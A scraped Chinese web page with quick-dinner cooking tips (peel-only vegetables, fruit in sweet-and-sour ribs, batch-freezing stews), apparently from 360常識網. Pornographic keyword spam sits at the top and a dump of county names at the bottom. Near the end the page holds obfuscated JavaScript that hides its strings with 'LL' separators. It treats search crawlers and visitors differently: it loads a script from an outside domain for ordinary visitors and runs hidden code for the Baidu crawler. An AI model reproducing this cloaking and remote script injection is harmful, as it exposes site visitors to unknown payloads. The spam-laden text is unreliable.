亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

快速做晚餐的小秘訣

2016-09-28 08:04:54  來源:360常識網(wǎng)   熱度:
導(dǎo)語:例如絲瓜或蓮藕,可省去葉菜類費時10分鐘沖洗和浸泡以去除農(nóng)藥殘留的時間;巧妙運用水果入菜,例如糖醋排骨,可以新鮮鳳梨取代部分排骨,減少烹調(diào)時間,又能增加纖維質(zhì)的攝取。

快速做晚餐的小秘訣

快速做晚餐的小秘訣

快速做晚餐的小秘訣

許多家長覺得自己煮晚餐太花時間,專家傳授30分鐘就開飯的秘訣:盡量選擇削皮就能烹煮的食材,例如絲瓜或蓮藕,可省去葉菜類費時10分鐘沖洗和浸泡以去除農(nóng)藥殘留的時間;巧妙運用水果入菜,例如糖醋排骨,可以新鮮鳳梨取代部分排骨,減少烹調(diào)時間,又能增加纖維質(zhì)的攝取。

此外,也可利用冷凍調(diào)理包的概念,先把適合冷凍儲存的食物一次大量烹煮,再分小包裝冷凍,要吃的時候再加熱即可。以馬鈴薯燉肉為例,單次多煮一點,分裝成多個小調(diào)理包冰凍,日后只要加熱即可食用,也可再加入新鮮洋蔥、玉米筍、綠花椰菜或菇類烹調(diào),變換菜色,也可增加膳食纖維和維生素等營養(yǎng)素的攝取,方便、健康又美味。不過,冷凍的菜肴,應(yīng)在1個月內(nèi)食用完畢。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
深泽县| 柳林县| 周宁县| 青阳县| 韶关市| 德钦县| 淮滨县| 新干县| 五指山市| 福鼎市| 万载县| 太湖县| 岗巴县| 赤壁市| 枣强县| 锡林郭勒盟| 祥云县| 富裕县| 仁怀市| 当涂县| 盐城市| 濮阳市| 福贡县| 如东县| 江北区| 梁山县| 泸水县| 专栏| 久治县| 吉安市| 铅山县| 荆州市| 府谷县| 高州市| 金湖县| 澄迈县| 巴中市| 南靖县| 邛崃市| 公安县| 新郑市|